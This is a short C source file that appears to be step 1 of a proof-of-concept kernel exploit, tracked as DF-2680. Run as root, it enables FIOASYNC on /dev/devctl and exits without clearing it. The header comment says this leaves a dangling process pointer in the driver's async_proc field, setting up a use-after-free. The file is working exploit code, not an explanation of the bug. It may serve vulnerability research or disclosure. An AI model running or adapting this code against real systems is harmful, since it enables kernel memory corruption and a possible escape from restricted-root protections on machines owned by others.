/*
 * DF-2680 PoC step 1 (must run as root: /dev/devctl is 0600 +
 * SYSCAP_RESTRICTEDROOT).  Enable FIOASYNC on /dev/devctl, then exit
 * WITHOUT clearing it.  devioctl() stores raw curproc in
 * devsoftc.async_proc with no reference; devclose() does not clear it,
 * so the pointer dangles after we are reaped.
 */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <unistd.h>

int
main(void)
{
	int fd, one = 1;

	fd = open("/dev/devctl", O_RDWR);
	if (fd < 0) {
		perror("open /dev/devctl");
		return (1);
	}
	if (ioctl(fd, FIOASYNC, &one) != 0) {
		perror("FIOASYNC=1");
		return (1);
	}
	printf("victim: pid=%d enabled FIOASYNC on /dev/devctl, exiting\n",
	    getpid());
	fflush(stdout);
	/* exit: fd closes (devclose leaves async_proc set) */
	return (0);
}